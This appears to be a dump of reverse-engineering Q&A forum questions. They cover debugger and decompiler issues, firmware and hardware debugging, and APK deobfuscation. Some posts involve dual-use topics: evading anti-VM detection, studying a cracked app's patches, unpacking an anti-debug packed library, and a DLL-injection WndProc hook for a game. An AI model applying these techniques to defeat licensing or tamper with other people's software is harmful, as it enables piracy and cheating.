+ +len(funcs) is 461, but the number of functions got by IDA is 526, besides the numbers of strings, imports, exports... are also different. +I checked the result of radare2 and found some issuses, for example, the function png_write_row is followed by png_write_rows. Radare2 can not identity the second function png_write_rows and consider all code of those two functions to png_write_row. IDA works correctly. + +Why they are different? and Why radare2 can not identity functions correctly? how can I use it to get correct results? +" +['assembly']," Title: Unable to start file ""..\ntoskrnl.exe"" in ollydbg [What can I do?]Body: Ollydbg isn't allowing me to open the executable ntoskrnl. I think im missing something but I don't know what it is (Windows 7, Ollydbg10.0,200) +" +['remote']," Title: Garage door rolling code: identifying the implementationBody: I'm trying to reverse engineer my garage door remote (we're having robbery problems here, so I check if it's a weak point), here's what I found, listening on 868MHz: + +There's a ""preamble"" composed of an alternance of ones and zeros. + +Then, data bits are transmitted using 3 bits, using the form ""10x"", I mean, a one, followed by a zero, following by a data bit, I do not recognize this encoding. + +It looks to transmit 52 or 53 bits per button press (the last bit is always 0 so I don't really know if I have to count it or not). + +Here's what I identified, I labelled the columns as far as I understand them, there's 4 lines for 4 distinct records (4 button press): + +
Constant     Remote specific  b    ?    rolling code ?   
+000011110100 1010101000000100 1000 0000 0011101001011011 0
+000011110100 1010101000000100 0100 0000 1111010101001100 0
+000011110100 1010101000000100 0010 0000 1011000111001010 0
+000011110100 1010101000000100 0001 0000 1000010111011001 0
+
+ +with: + + + +A long press emits the same message in a loop (the ""rolling code"" does not change""), but a release followed by another press make the rolling code change. + +The remote is a ""v2 phoenix"", which looks compatible with the ""v2 phox"". + +Do you have any idea about which protocol it is? (if it's named a ""protocol"") +" +"['decompilation', 'c', 'arm', 'ghidra']"," Title: Is Ghidra's decompilation of ARMv7 strb.w instruction broken?Body: I'm currently disassembling some firmware, when I stumbled across the following code snippet produced by Ghidra (the names are already my own ones): + + + +
void memset(byte *addr,byte value,int count)
+                            assume LRset = 0x0
+                            assume TMode = 0x1
+  undefined         r0:1           <RETURN>                                
+  byte *            r0:4           addr                                    
+  byte              r1:1           value
+  int               r2:4           count
+  undefined4        r0:4           iPtr                                    
+
+22 b1           cbz        count,LAB_FIN
+02 44           add        count,addr
+                      LAB_LOOP
+00 f8 01 1b     strb.w     value,[iPtr],#0x1
+90 42           cmp        iPtr,count
+fb d1           bne        LAB_LOOP
+                      LAB_FIN  
+70 47           bx         lr
+00              ??         00h
+bf              ??         BFh
+
+ +Ghidra's decompiler produces the following output (after setting some types): + + + +
void memset(byte *addr,byte value,int count)
+{
+  byte *iPtr;
+
+  if (count != 0) {
+    iPtr = addr;
+    do {
+      iPtr = iPtr + 1;
+      *iPtr = value;                // write to iPtr AFTER the pointer was increased
+      iPtr = iPtr;
+    } while (iPtr != addr + count);
+  }
+  return;
+}
+
+ +Now, I have two questions: + +
    +
  1. The decompiled function suggests that this memset function will not set the given address (addr) to the specified value, but will always start with addr+1. This, however, doesn't feel right and as far as I understand the strb.w instruction it uses post-indexing. Therefore - I think - the order of the pointer-increment and the assignment instruction is wrong. Am I right or do I miss something?
  2. +
  3. After the bx instruction there are two further bytes. I don't have the slightest idea what they are. Given that they are not ""00"" I don't think that they are (solely) used for alignment purposes. (The next function definitively starts directly after these two bytes.) Does anyone have an idea?
  4. +
+" +['vmware']," Title: VMware Tools list of all installed files with itBody: I'm reversing an anti VMware mechanism which detects VGAuthService.exe and vmtoolsd.exe as well as a few registries that I've taken care of and some drivers from C:\Windows\System32\drivers\vm.... I deleted C:\Program Files\VMware folder and those drivers, killed VGAuthService.exe, vmtoolsd.exe and vm3dservice.exe processes but it's still detected, which means I'm missing something. However, when I uninstall VMware Tools, even without rebooting the machine, it's undetected. + +Is there a tool/or way to find which files VMware Tools installation drops on disk, what it modifies, etc.? I remember there was a tool ""Orca"" which was useful for .MSI files, but it's not in this case. + +My VM: + +
VMware® Workstation 15 Pro
+15.5.5 build-16285975
+
+" +"['arm', 'hardware']"," Title: I have a two pin debug interface, confused on how to use itBody: I'm very much on the software side of things so I'm super inexperienced with debugging hardware. A custom processor I'm working with gives 2 debug pins, and given that it's an ARM system I suspect it to be 2-wire SWD. Looking at some tools I found online, specifically J-Link, it looks like I need to not only connect the two debug pins, but also a ground pin. However, I'm not given a third pin and I don't have a pinout of the processor due to it being a custom build. Is there a way to find a ground on the processor? +" +"['arm', 'jtag']"," Title: ARM 20-pin JTAG header?Body: I'm trying to find the JTAG header for an Intel X Scale (ArmV5) PXA270 board. I found and populated a 20-pin header: + + + +but JTAGulator doesn't think it has a valid combination of TDI/TDO/TMS/TCK on either a IDCode or bypass scan. I put a logic analyzer on it and don't really see a steady clock: + + + +Is it possible the clock is elsewhere and some of the header pins are still TDI/TDO etc., or do any of the logic analyzer data seem they could be from JTAG? +" +"['decompilation', 'android', 'malware', 'patch-reversing', 'apk']"," Title: How to reverse engineer apks?Body: is it possible to reverse engineer an apk just to unlock hidden/unreleased features? +" +"['disassembly', 'ghidra']"," Title: Extracting Info from Ghidra Listing WindowBody: I have written a script which extracts all the assembly code from a PE using this code in ghidra +
instructionList = []
+for instr in currentProgram.getListing().getInstructions(True):
+    instructionList.append(instr)
+
+but the issue is that, is changes all the .DLL calls in the assembly code. +For example, if the listing window shows +
CALL        dword ptr [->MSVCRT.DLL::signal] 
+
+The output I get is +
CALL dword ptr [EBP + -0x14]
+
+Is there a way to get the assembly code exactly as it is in the listing window +" +"['decompilation', 'static-analysis', 'anti-debugging', 'deobfuscation', 'patch-reversing']"," Title: How can I analyze this code?Body: I wanted to analyse the code for some functionality. +in my understanding the code contains a logic handling intents with extras. I want to know how these Works! and also how can I pass extras using adb. Here is code snippet: +
package com.facebook.katana.activity;
+public class FbMainTabActivity extends com.facebook.base.activity.FbFragmentActivity implements X.11j, X.11g, X.11k, X.11n, X.11r, X.11p, X.11o, X.11q, X.11s, X.19d, X.11t, X.0B2, X.2IH, X.11u, X.11v, X.11x, X.12k, X.2II, X.12l, X.1z9, X.12v, X.12w {
+    public static X.12x A09;
+    public static final com.google.common.collect.ImmutableList A0A;
+    public com.facebook.common.util.TriState A00;
+    public boolean A01;
+    public android.view.View A02;
+    public X.0lw A03;
+    public X.12x A04;
+    public X.3tw A05;
+    public Object A06;
+    public boolean A07;
+    public final long A08;
+
+    public static FbMainTabActivity()
+    {
+        com.facebook.katana.activity.FbMainTabActivity.A0A = com.google.common.collect.ImmutableList.of("chromeless:content:fragment:tag", "PhotoAnimationDialogFragment_MEDIA_GALLERY", "PhotoAnimationDialogFragment_PHOTOS_FEED");
+        return;
+    }
+
+    public FbMainTabActivity()
+    {
+        this.A00 = com.facebook.common.util.TriState.UNSET;
+        this.A08 = android.os.SystemClock.uptimeMillis();
+        this.A05 = 0;
+        this.A02();
+        return;
+    }
+
+    private final android.view.ViewGroup A00()
+    {
+        return ((X.2Pt) X.0km.A04(10, 9992, this.A03)).A04();
+    }
+
+    private final com.facebook.feed.fragment.NewsFeedFragment A01()
+    {
+        com.facebook.feed.fragment.NewsFeedFragment v0_0 = 0;
+        if (this.BjY()) {
+            X.2Ur v1_1 = this.A1C();
+            if (v1_1 != null) {
+                v0_0 = ((com.facebook.feed.fragment.NewsFeedFragment) v1_1.A2D());
+            }
+        }
+        return v0_0;
+    }
+
+    private void A02()
+    {
+        String v0_0 = com.facebook.katana.activity.FbMainTabActivity.A09;
+        if ((v0_0 == null) || (v0_0.get() == null)) {
+            com.facebook.katana.activity.FbMainTabActivity.A09 = new X.12x(this);
+            return;
+        } else {
+            if ((((com.facebook.katana.activity.FbMainTabActivity) com.facebook.katana.activity.FbMainTabActivity.A09.get()).A04 != null) && (((com.facebook.katana.activity.FbMainTabActivity) com.facebook.katana.activity.FbMainTabActivity.A09.get()).A04.get() == null)) {
+                X.00N.A0F("FbMainTabActivity", "FbMainTabActivity might have leaked!");
+            }
+            return;
+        }
+    }
+
+    private final void A03()
+    {
+        ((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0C();
+        return;
+    }
+
+    public static final void A04(android.content.Context p0, com.facebook.katana.activity.FbMainTabActivity p1)
+    {
+        com.facebook.katana.activity.FbMainTabActivity.A0A(X.0km.get(p0), p1);
+        return;
+    }
+
+    private void A05(android.content.Intent p10)
+    {
+        X.08P.A02("FbMainTabActivity.handleNewIntent", 548977818);
+        try {
+            boolean v0_9;
+            if (!((X.2Tl) X.0km.A04(27, 10032, this.A03)).A00(this, p10)) {
+                android.content.Intent v3 = ((X.1Q5) X.0km.A05(9134, this.A03)).A02(p10);
+                if ((v3.getBooleanExtra("refresh_feed", 0)) && (this.BjY())) {
+                    this.A01().A2M(X.16v.A06);
+                }
+                String v8 = v3.getStringExtra("rum_destination_uri");
+                boolean v7 = v3.getBooleanExtra("should_show_rum_player", 0);
+                boolean vtmp9 = v3.getBooleanExtra("should_hide_rum_player", 0);
+                if ((v8 == null) || (!v7)) {
+                    if (vtmp9) {
+                        ((X.1lF) X.0km.A04(23, 9433, this.A03)).A02(0);
+                    }
+                } else {
+                    boolean v0_28 = ((X.1lF) X.0km.A04(23, 9433, this.A03));
+                    v0_28.A02(v7);
+                    v0_28.A01(v8);
+                }
+                if (!com.facebook.katana.activity.FbMainTabActivity.A0M(v3)) {
+                    if (((v3.getBooleanExtra("force_reset_to_feed_from_certain_tabs", 0)) && (((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0N())) || (v3.getBooleanExtra("force_reset_to_feed", 0))) {
+                        this.Czs();
+                    }
+                    if (v3.getBooleanExtra("jump_to_top", 0)) {
+                        this.A1K();
+                    }
+                    if ((this.A0L(v3)) || (v3.hasExtra("target_tab_id"))) {
+                        if (v3.hasExtra("from_deeplink_to_watch")) {
+                            if (v3.hasExtra("is_warion_state")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A02(v3.getBooleanExtra("is_warion_state", 0));
+                            }
+                            if (v3.hasExtra("is_warion_dark_mode")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A01(v3.getBooleanExtra("is_warion_dark_mode", 0));
+                            }
+                        }
+                        this.A09(v3);
+                    }
+                    if (v3.hasExtra("pass_deeplink_intent_to_tab")) {
+                        this.A07(v3);
+                    }
+                    this.A06(v3);
+                    v0_9 = 734594812;
+                } else {
+                    this.A08(v3);
+                    v0_9 = -1612877982;
+                }
+            } else {
+                v0_9 = -1639492758;
+            }
+        } catch (X.3tx v1_6) {
+            X.08P.A01(744680193);
+            throw v1_6;
+        }
+        X.08P.A01(v0_9);
+        return;
+    }
+....
+
+This method in the code snippet it gets an intent type parameter and does some work: +

+private void A05(android.content.Intent p10) 
+{
+        X.08P.A02("FbMainTabActivity.handleNewIntent", 548977818);
+        try {
+            boolean v0_9;
+            if (!((X.2Tl) X.0km.A04(27, 10032, this.A03)).A00(this, p10)) {
+                android.content.Intent v3 = ((X.1Q5) X.0km.A05(9134, this.A03)).A02(p10);
+                if ((v3.getBooleanExtra("refresh_feed", 0)) && (this.BjY())) {
+                    this.A01().A2M(X.16v.A06);
+                }
+                String v8 = v3.getStringExtra("rum_destination_uri");
+                boolean v7 = v3.getBooleanExtra("should_show_rum_player", 0);
+                boolean vtmp9 = v3.getBooleanExtra("should_hide_rum_player", 0);
+                if ((v8 == null) || (!v7)) {
+                    if (vtmp9) {
+                        ((X.1lF) X.0km.A04(23, 9433, this.A03)).A02(0);
+                    }
+                } else {
+                    boolean v0_28 = ((X.1lF) X.0km.A04(23, 9433, this.A03));
+                    v0_28.A02(v7);
+                    v0_28.A01(v8);
+                }
+                if (!com.facebook.katana.activity.FbMainTabActivity.A0M(v3)) {
+                    if (((v3.getBooleanExtra("force_reset_to_feed_from_certain_tabs", 0)) && (((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0N())) || (v3.getBooleanExtra("force_reset_to_feed", 0))) {
+                        this.Czs();
+                    }
+                    if (v3.getBooleanExtra("jump_to_top", 0)) {
+                        this.A1K();
+                    }
+                    if ((this.A0L(v3)) || (v3.hasExtra("target_tab_id"))) {
+                        if (v3.hasExtra("from_deeplink_to_watch")) {
+                            if (v3.hasExtra("is_warion_state")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A02(v3.getBooleanExtra("is_warion_state", 0));
+                            }
+                            if (v3.hasExtra("is_warion_dark_mode")) {
+                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A01(v3.getBooleanExtra("is_warion_dark_mode", 0));
+                            }
+                        }
+                        this.A09(v3);
+                    }
+                    if (v3.hasExtra("pass_deeplink_intent_to_tab")) {
+                        this.A07(v3);
+                    }
+                    this.A06(v3);
+                    v0_9 = 734594812;
+                } else {
+                    this.A08(v3);
+                    v0_9 = -1612877982;
+                }
+            } else {
+                v0_9 = -1639492758;
+            }
+        } catch (X.3tx v1_6) {
+            X.08P.A01(744680193);
+            throw v1_6;
+        }
+        X.08P.A01(v0_9);
+        return;
+    }
+
+Apparently, these codes are heavily obfuscated, how can I deobfuscate it? +" +['x64dbg']," Title: How to whitelist an address for breakpoint?Body: If I have breakpoint on some win function, how to whitelist some address on which I don't want stopping? +Seems that it is needed to use conditions. How? +I use x64dbg, but if you only know a way in another debugger - it is also interesting. +" +['x64dbg']," Title: Set a breakpoint for a win command without an addressBody: How to make these columns empty or make a new breakpoint where they are empty? I just need a stop at these win commands (in the summary column), not at a specific address. +
+I don't know what exactly should be in these columns and that is why I need them empty. +So I need to set a breakpoint for a command without an address. Maybe other debuggers can do this. +UPDATE:
+I am looking for this functionality in x64dbg: + +So there are no addresses. Does it support this? +" +"['file-format', 'obfuscation']"," Title: Wave File obfuscationBody: I have this file here, that is supposed to be a wave audio file, but seems to have some obfuscation applied to it. The file header is here: https://pastebin.com/LD5aA1EG Any suggestions where else it would be appropriate to ask? +" +['firmware']," Title: Practicing Reverse Engineering To Find Default Password From Router FirmwareBody: I am currently practicing reverse engineering to look for the default password of the Linksys V1.5 firmware here https://www.linksys.com/us/support-article?articleNum=148613 +I tried to use binwalk to get more information from the file but do not know where to go from here. Almost no useful information from what I have seen from hexdump and strings command. Is there any other recommended tools to use or strategies? +" +['ida']," Title: Click-thru a virtual function in IDABody: I'm reversing some stuff that has RTTI, so finding vftables is easy. +I have an instance of some class some_object, there is a method being called through its __vftable. The method_4 has a type of data_struct *(__thiscall *method_4)(void *not_sure, data_struct *data_struct, int a3). It looks like this: + +Is there a way to actually click on method_4 here and go to the pointer in the vftable/the underlaying sub_<something>? I seem to be stuck just having to go back to the vftable manually when I want to see what that function does. +It feels like I need to somehow link the instance of some_object or rather its _vftable to the actual vftable memory location but not sure if that's a thing? Do I want too much? :) +" +"['binary', 'encodings', 'api']"," Title: Determining the encoding of an unknown image formatBody: I'm trying to reverse engineer a REST API and there is an endpoint that delivers images. Some of them are jpegs but other ones look like they're base64 encoded, except they don't appear to be, as they contain invalid chars such as & and -. If I "repair" the invalid chars I can base64 decode it, but it's just random binary data I can't discern anything from (does base64 have a checksum built in or can I base64-decode any string that has valid base64 characters?). +The data is around ~74 KB for an image I'm requesting in 500px width. Here is a bit of the content: +
MAXe09nMdH7sLXdcCVfZhA1p3ll44Ye5vJABsCGRPlh4xej7NYAu9otU2xUns35mHcwVr1j12l9Mn2AsSP9RTZEjljoUGNzkCn5yshkPMGLBmyFgrI2PjRpme0UIFX9n/CF1K1FDbA8uhTqgqxLYV2DeA9LpG5hLSFPGlkKbGcsWlYa4YyqsbYtG9mg1knuzedm+kVWvPjUpN/WtypkypnaZKmUVnXh3jFgMxCOpWHLGX9QfptR331mte+pjS2n4Ot51EYvA2Bm0QxYoEZ8ZeV/W1UjkHw9L9PBH65NY/h1mL1s246/XHFsJT6eSnHTPFlILiT66cOVjJ+2T3LDidobQrDkamZi/+wwsugY5520lFrMUYvvtvyFEb
+
+The API is sending a Content-Transfer-Encoding: binary header with the response. +Are there other common formats to encode binary data that I may not be aware of or does anyone have an idea what kind of data this could be? +" +"['ida', 'idapython']"," Title: Defining operand as offsetBody: I have an idapython script which automatically defines bytes as code by a predefined configuration.
+The problem is that when it defines the block of bytes as code (by idc.create_insn) it does not define references automatically. +For example, this is the outcome of the function:
+ +And this is the expected result:
+ +If 0x80004F0 cannot be defined automatically as offset, how can I programatically (with idapython) set it to be so? +" +"['disassembly', 'radare2', 'pe']"," Title: How to find DOS Header and PE Header with an entry point in Radare2?Body: I am currently doing byte extraction from PE files using Radare2. I know how to find the byte sequence for DOS Header and PE Header when there is no entry point and the start is defaulted to 0x0. But some of them have an entry point at 0x4#####. +I can retrieve the vaddr (virtual address), paddr (physical address), and haddr (e_entry\AddressOfEntryPoint in the binary header) of a certain file with an entry point. +How do I use that to find the byte sequence for the DOS Header and PE Header? + +" +"['ida', 'disassembly', 'c', 'ghidra']"," Title: which has better pseudocode? IDA or GhidraBody: I would like to know which of the two has a better pseudo code generator in C, IDA or Ghidra, if possible, point out the strengths and low points of each one. +" +"['c++', 'protection']"," Title: Latest VMProtect vs Latest ThemidaBody: I am working on an app to archive some important files in a compressed-encrypted format, +What is the best for me to use (Virtualization) VMProtector or Themida ? +Thanks in advance +" +"['disassembly', 'ghidra']"," Title: How to import files and analyze it in Ghidra using a python script?Body: I want to write a script which imports an exe file, analyzes it, extracts some features and saves it using python. +The part which I am not able to understand is, how to import a file from the script itself. I do not want to use the askFile function and i do not want to use the headleassAnalyzer. +Are there any functions which let me do this from the script itself? +" +"['linux', 'driver', 'usb']"," Title: Same USB packet (Python/user vs C/kernel) but different resultBody: I'm making a Linux module (my first one) for a closed-source, enclosed (no hardware access) device. +Using Wireshark I found what to send and where, so I tried the following command in user space Python and it works: +handle._controlTransfer(0x21, 0x09, 0x0300, 3, data, 8, 0) #packet sent, device reacts +Sadly I can't get it to work in the kernel module: +usb_control_msg(dev, usb_sndctrlpipe(dev, 0), 0x09, 0x21, 0x0300, 3, data, 8, 0); //packet sent, device doesn't react +even by creating the urb myself: +
urb = usb_alloc_urb(0, GFP_KERNEL);
+cr = kmalloc(sizeof(struct usb_ctrlrequest), GFP_KERNEL);
+cr->bRequestType = USB_TYPE_CLASS | USB_RECIP_INTERFACE;
+cr->bRequest = 0x09;
+cr->wValue = cpu_to_le16(0x0300);
+cr->wIndex = cpu_to_le16(3);
+cr->wLength = cpu_to_le16(8);
+usb_fill_control_urb(urb, dev, usb_sndctrlpipe(dev, 0), (void *)cr, data, 8, urb_callback, context);
+usb_submit_urb(urb, GFP_ATOMIC);
+kfree(cr);
+usb_free_urb(urb);
+//packet sent, device doesn't react
+
+When I say the device "reacts" I mean it flashes with another color so there is no ambiguity in the success of the command. +I logged everything with Wireshark and the packets are identical (except for urb_id and urb_ts_*) +Would you have any advice for me? Something I forgot or how to debug more? +Edit +Full working Python code +
context = usb1.USBContext()
+handle = context.openByVendorIDAndProductID(VENDOR_ID, PRODUCT_ID)
+usb1.libusb1.libusb_set_auto_detach_kernel_driver(handle._USBDeviceHandle__handle, 0)
+usb1.libusb1.libusb_set_auto_detach_kernel_driver(handle._USBDeviceHandle__handle, 3)
+handle.claimInterface(0)
+handle.claimInterface(3)
+handle._controlTransfer(0x21, 0x09, 0x0300, 3, data, 8, 0)
+handle.releaseInterface(3)
+handle.releaseInterface(0)
+
+" +"['patching', 'patch-reversing', 'osx', 'hopper']"," Title: How to see what has changed in a patched binary?Body: I am exploring MacOS Deckset app. +It has a trial version available on the official website. +But there's a cracked version available on torrent trackers. +I want to know what was changed by the people who cracked that app: strings? symbols? few assembly instructions? +Both (genuine and cracked) versions are available as .DMG installers. +I've extracted Deckset.app containers from both of them. +Now, I'm able to explore Deckset.app/Contents/MacOS/Deckset binary in Hopper tool. +But as the cracked version is patched, I want to understand what actually was patched. +For this, I used radiff2 tool from Radare2 toolset: +
radiff2 genuine.app/Contents/MacOS/Deckset cracked.app/Contents/MacOS/Deckset  > bin_diff.txt
+
+It gave me output like this: +
0x00000e98 901e => 101c 0x00000e98
+0x0000201c 109a => 9097 0x0000201c
+0x0027d486 770c => 585e 0x0027d486
+0x0027d48b 04 => 03 0x0027d48b
+0x0027d493 2c => 24 0x0027d493
+0x0027d49a 511a => 5097 0x0027d49a
+0x0027d49d 00 => 01 0x0027d49d
+0x0027d49f 05 => 00 0x0027d49f
+0x0027d4a3 fe00010000 => 07fade0c02 0x0027d4a3
+0x0027d4aa 53bcfade0c02 => 507300020100 0x0027d4aa
+0x0027d4b2 50ee => 0000 0x0027d4b2
+0x0027d4b5 020500 => 0000b3 0x0027d4b5
+0x0027d4b9 01 => 00 0x0027d4b9
+0x0027d4bb 00 => 30 0x0027d4bb
+0x0027d4be 012e => 0003 0x0027d4be
+0x0027d4c2 0060 => 027e 0x0027d4c2
+
+Now, when I open "genuine" app in Hopper, and search for either 0x00000e98, or 901e, or 101c, it gives nothing useful. +E.g. when I do Menu > Navigate > Go to Address or Symbol and enter 0x00000e98, it gives me such segment: + +I don't see nor 901e, neither 101c in this segment. +What am I doing wrong? +Do you know better tools for doing this (except IDA Pro, because it's expensive)? +" +"['ghidra', 'aarch64']"," Title: Reverse engineering a aarch64 elf in GhidraBody: I am trying to reverse engineer a aarch64 binary to find a password from it. I am able to modify certain functions in Ghidra but got stuck with the attached code snippet. The marked areas in the figure are giving me some trouble understanding the algorithm of the code. +
    +
  1. There are too much undefined variables. I don't know their datatypes. But as param_1 is a character array, I assume that local_58 will also be a character array of size 40 (from memcpy function call). So, local_30 will also be a character array of size 40(from memcpy function call). Am I right here? +
  2. +
  3. I assume the 2nd marked snippet is telling the value of local_30. If i am correct local_30 has a value of 00001100 00000111 10101010 10011000 11100011. Please correct me here if I am wrong. +
  4. +
  5. FUN_00400c3 is taking the local_58 and doing some operations. Along with local_58, the FUN function is also taking an integer and a unsigned long long int as 2nd and 3rd parameter. The 3rd parameter has a very large value. So, I am not sure whether ghidra is giving a correct value or a garbage one. +
  6. +
+ +" +"['ida', 'binary-analysis', 'c++']"," Title: How to set the type of a variable or function to an std::string?Body: I'm using IDA Pro and have identified a function that takes an std::string as an argument. +However when I click on the function and "Set Item Type", entering its definition: +
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>> funcname(const std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>& foo)
+
+I get a syntax error: +
Syntax error near: std::__ndk1::basic_string
+
+However there are other variables with this very type that IDA is able to use. Why is it failing when I try to set it? +" +"['linux', 'kernel']"," Title: Linux keyboard driver windows reverse engineeringBody: I have toshiba portege x30-f laptop with Fn keys not working under linux. +I've read some articles about usb drivers reverse engineering, but the keyboard connected not via usb. As I can understand it connected through i8042 ps/2 +I've tried to capture /dev/input/event but there are only usual keys, Fn keys don't generate any output. I've checked every /dev/input/event and /dev/hidraw for any output on Fn keys press and none of them gived me any events or signals. So linux don't know anything about this keys, I suppose the only way to know what is happening - load into windows. +I can run Windows natively or in virtual box, but I have no guess how to capture signals from keyboard to windows and vice versa. Can anyone give me advice on this? +" +"['memory-dump', 'upx']"," Title: How can you dump the unpacked version of a packed library/plugin from memory on macOS?Body: I'm dealing with a custom-upx packed library that I'm trying to unpack. System is macOS. +Given it's a library/plugin, it doesn't have a standalone entrypoint. I ran it through a disassembler but wasn't able to find obvious hints where the OEP might be. On top of that, it also uses anti-debugging measurements through ptrace to make it even harder. +Next I wrote my own loader for it including callbacks it wants, and managed to get it to load, then used lldb save-core to dump the entire memory (of my loader+lib) into a 3GB-ish file. +Here is where I am stuck: Memory analysis and forensics doesn't look like its popular on mac with most tools outdated and no longer working. I don't know how to approach this going forward and if it's even possible to restore the unpacked variant from this dump. +" +"['binary-analysis', 'c++', 'qt']"," Title: C++ Unary equals (unary operator=)Body: In C++ binaries, I find Qt methods like ??4QString@@QEAAAEAV0@AEBV0@@Z which demangle to +
public: class QString & __ptr64 __cdecl QString::operator=(class QString const & __ptr64) __ptr64
+
+or in shorter form, QString& QString::operator=(QString const&). The return value does not appear to be used. What is the purpose of this "unary equals", given that it does not seem to be a construct people write in the original code? +Edit +I found the source of my confusion. I'm perfectly award of the calling convention with this, and what operator= is supposed to do. It's common, in my experience, for people to indicate this as a direct argument when reversing software. This is, for instance, what IDA does. It was what I was intending to do as well. So, it would have been considered unary, as I wrote it only take on argument (this). +It turns out that IDA somehow incorrectly assigned the type, and gave it the signature __int64 __fastcall QString__operator_(_QWORD) instead of QString* __fastcall QString__operator_(QString *, QString const *). I don't know what caused this. The output from [demangler.com], which I put in the first half of my post, did not include the implicit this, contrary to my expectations. +" +['c++']," Title: Windows PE64 throw error while allocating heap for unknown reason?Body: For some reason i'm not aware of ( some heap allocation limit ) while allocating memory for some classes, an application ( win64 ) raises this exception: +
DumpedMini Result[0] Exception Code[EXCEPTION_ACCESS_VIOLATION]
+Fatal: Man.exe caused an EXCEPTION_ACCESS_VIOLATION(ThdId:10172) in module WApi.dll WApi::COdbcCommand::COdbcCommand(), Source(Wapicodbc.inl:341)
+7FF9ED373847: The instruction at 0x7FF9ED373847 referenced memory at 0xFFFFFFFFFFFFFFFF. The memory could not be read (exc.code c0000005, tid 12420)
+    :00007FF9ED373847 movaps  xmmword ptr [rcx+200h], xmm6
+    00007FF9ED373847    ntdll.dll   ntdll_RtlCaptureStackContext+1E457
+
+I don't have any access to application source , i debug it in ida , also there is similar application that does has same logic (allocating exactly same classes, but it doesn't throw error's and allocating up to 1gb in memory, while this app is stuck on 109k) +What tools or techniques i can use , to analyze what is behind the memory limiting , or what problem it could be ? +" +"['binary-analysis', 'decompilation', 'ghidra']"," Title: What kind of function creates this code pattern?Body: Apologies if this is a duplicate. Don't know what words to search for as that's what the question is about. +I'm relatively new to reverse engineering binaries and while using Ghidra I've noticed that it frequently decompiles the binary to produce functions along these lines: +
void FUN_803adb50(void)
+{
+  int in_r11;
+  undefined4 unaff_r26;
+  undefined4 unaff_r27;
+  undefined4 unaff_r28;
+  undefined4 unaff_r29;
+  undefined4 unaff_r30;
+  undefined4 unaff_r31;
+  
+  *(undefined4 *)(in_r11 + -0x18) = unaff_r26;
+  *(undefined4 *)(in_r11 + -0x14) = unaff_r27;
+  *(undefined4 *)(in_r11 + -0x10) = unaff_r28;
+  *(undefined4 *)(in_r11 + -0xc) = unaff_r29;
+  *(undefined4 *)(in_r11 + -8) = unaff_r30;
+  *(undefined4 *)(in_r11 + -4) = unaff_r31;
+  return;
+}
+
+Which is created from the following disassembly: +
+
                     *                          FUNCTION                          *
+                     **************************************************************
+                     void __stdcall FUN_803adb50(void)
+                       assume GQR0 = 0x0
+                       assume GQR1 = 0x0
+                       assume GQR2 = 0x40004
+                       assume GQR3 = 0x50005
+                       assume GQR4 = 0x60006
+                       assume GQR5 = 0x70007
+                       assume GQR6 = 0x0
+                       assume GQR7 = 0x0
+                       assume r13 = 0x805dd0e0
+                       assume r2 = 0x805e6700
+     void              <VOID>         <RETURN>
+                     FUN_803adb50
+803adb50 93 4b ff e8     stw        r26,-0x18(r11)
+                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     undefined GetVCTypeSomething()
+                       assume GQR0 = 0x0
+                       assume GQR1 = 0x0
+                       assume GQR2 = 0x40004
+                       assume GQR3 = 0x50005
+                       assume GQR4 = 0x60006
+                       assume GQR5 = 0x70007
+                       assume GQR6 = 0x0
+                       assume GQR7 = 0x0
+                       assume r13 = 0x805dd0e0
+                       assume r2 = 0x805e6700
+     undefined         r3:1           <RETURN>
+                     GetVCTypeSomething
+803adb54 93 6b ff ec     stw        r27,-0x14(r11)
+803adb58 93 8b ff f0     stw        r28,-0x10(r11)
+803adb5c 93 ab ff f4     stw        r29,-0xc(r11)
+803adb60 93 cb ff f8     stw        r30,-0x8(r11)
+803adb64 93 eb ff fc     stw        r31,-0x4(r11)
+803adb68 4e 80 00 20     blr
+
+It happens frequently enough that it must be some kind of common pattern, always with many variables of an undefined type with the "unaff_" prefix which are assigned to an equal number of variables with the "in_" prefix. They also commonly appear at the beginning of the caller functions. My instinct is that it's something related to a class structure (I'm unsure of whether or not the original binary was C or C++) but given that I've had no luck with my searches, I figured I'd ask here. +What (if any) is the common code pattern that would produce such decompiled code? +Bonus points if there's a way to edit the function definition to produce something more legible. +" +"['memory', 'dumping', 'memory-dump', 'process']"," Title: WinHex : There's a data that does not belong to any moduleBody: I read my process memory with WinHex in order to remove some sensitive text which may running my app into crack/hack.(license data). +Now , when i open the process Entire memory with in WinHex , i can easily search and find those sensitive data , but when i open each sub-module memory one by one , i can not find them !! +How this is possible ? +Is there any floating memory in each process which does not belong to process itself and it's sub-modules ? +Update : +The strange thing is each time this data appear on a completely different offset ! +I appreciate for your answer. +Thank you. +" +"['c++', 'address', 'pointer']"," Title: How i can grab a pointer or hook the process procedure without creating a global hookBody: i am trying to hook wndproc in an game, to do that i am injecting a dll into their memory, my problem is i don't wanna do a Global Hook to the wndproc, i want to get a pointer to his procedure to do thing more cleans and stealth. (I am still learning so i am right now a noob into assembly, if you want you can recommend me a good tutorial to learn assembly etc). +PS: Sorry for my english. +This is what i mean for Global Hook: +
//Global/Universal Hook example.
+#include <windows.h>
+
+static bool bSetup = false;
+WNDPROC oWndProc;
+
+LRESULT WndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+    //Process messages
+    
+    return CallWindowProc(WindowProc, hWnd, msg, wParam, lParam);
+}
+
+void lpMain()//Our dll start here, we do our thing in this function.
+{
+    if (!bSetup)
+    {
+        WindowProc = (WNDPROC)SetWindowLongPtr(HWND, GWLP_WNDPROC, (LRESULT)WndProc);//our Global Hooked Procedure.
+    }
+}
+
+BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.
+        break;
+    }
+    return TRUE;
